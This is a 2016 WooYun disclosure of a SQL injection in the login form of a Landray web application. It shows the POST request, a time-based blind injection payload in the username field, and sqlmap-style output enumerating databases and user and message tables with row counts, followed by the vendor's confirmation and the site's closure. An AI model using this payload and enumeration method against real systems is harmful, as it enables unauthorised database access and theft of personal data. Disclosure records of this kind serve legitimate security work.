当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0172503

漏洞标题:蓝凌某站SQL注入

相关厂商:深圳市蓝凌软件股份有限公司

漏洞作者: 路人甲

提交时间:2016-01-25 09:59

修复时间:2016-02-18 09:05

公开时间:2016-02-18 09:05

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-25: 细节已通知厂商并且等待厂商处理中
2016-01-27: 厂商已经确认,细节仅向厂商公开
2016-02-06: 细节向核心白帽子及相关领域专家公开
2016-02-16: 细节向普通白帽子公开
2016-02-18: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

POST /login HTTP/1.1
Host: wx.landray.com.cn
Content-Length: 65
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://wx.landray.com.cn
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://wx.landray.com.cn/login.jsp?code=4
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=FFE4E7DB54971F75928DEDBFDA994CFB
username=admin&password=%E4%91%85%E5%8C%A0%E4%B5%85a5zGa0EStzE%3D


登陆处username存在注入

---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: username=admin' AND (SELECT * FROM (SELECT(SLEEP(5)))XipE) AND 't
U'='tctU&password=123456
---
[15:52:16] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, JSP
back-end DBMS: MySQL 5.0.12

漏洞证明:

数据库:

available databases [3]:
[*] information_schema
[*] lweapp
[*] lweappnew


数据库项:

Database: lweapp
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| we_user_log_event | 87515 |
| we_qy_org_element | 29581 |
| we_qy_org_person | 24582 |
| we_qy_im_session_member | 4556 |
| we_qy_im_actor | 3352 |
| we_qy_im_member | 2787 |
| we_qy_im_session | 2284 |
| we_qy_org_contact | 614 |
| we_user_log_text | 502 |
| we_qy_org_contact_type | 452 |
| we_qy_im_message | 427 |
| we_collaborate_sys_message | 187 |
| we_user_signed | 170 |
| we_user_log_image | 113 |
| we_personalcenter_config | 96 |
| we_collaborate_follow | 69 |
| we_collaborate_like | 47 |
| we_collaborate_comment | 25 |
| we_menu | 15 |
| we_collaborate | 13 |
| we_user_log_vioce | 5 |
| we_qysso_short_url | 4 |
| we_collaborate_comment_like | 3 |
| we_public | 3 |
| we_rule_reply_pic_text | 3 |
| we_user_log_location | 2 |
| we_qy_org | 1 |
| we_qy_org_conf | 1 |
+---------------------------------------+---------+
Database: lweappnew
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| we_user_log_event | 59470 |
| we_qy_org_element | 33549 |
| we_qy_org_person | 29647 |
| we_qy_org_check_element | 2606 |
| we_qy_im_session_member | 570 |
| we_qy_im_member | 516 |
| we_qy_im_session | 286 |
| we_qy_im_actor | 271 |
| we_qy_org_contact | 224 |
| we_user_log_text | 189 |
| we_qy_im_message | 186 |
| we_qy_org_contact_type | 186 |
| we_qy_org_sync_log | 175 |
| we_program_model_relation | 18 |
| we_program_model | 13 |
| we_user_log_image | 10 |
| we_menu | 5 |
| we_collaborate | 3 |
| we_user_log_vioce | 3 |
| we_collaborate_follow | 2 |
| we_public | 2 |
| we_qysso_short_url | 2 |
| we_collaborate_sys_message | 1 |
| we_qy_org | 1 |
| we_qy_org_conf | 1 |
+---------------------------------------+---------+
Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 1643 |
| SESSION_VARIABLES | 484 |
| GLOBAL_VARIABLES | 470 |
| GLOBAL_STATUS | 354 |
| SESSION_STATUS | 354 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 222 |
| COLLATIONS | 222 |
| PARTITIONS | 203 |
| TABLES | 203 |
| KEY_COLUMN_USAGE | 143 |
| STATISTICS | 143 |
| TABLE_CONSTRAINTS | 143 |
| PLUGINS | 43 |
| CHARACTER_SETS | 41 |
| INNODB_FT_DEFAULT_STOPWORD | 36 |
| SCHEMA_PRIVILEGES | 36 |
| ENGINES | 9 |
| PROCESSLIST | 7 |
| SCHEMATA | 3 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-01-27 09:40

厂商回复:

感谢关注,该网站了蓝凌的一个demo用的网站,而且近期将会停止使用。

最新状态:

2016-02-18:该网站已经被关闭,感谢


漏洞评价:

评价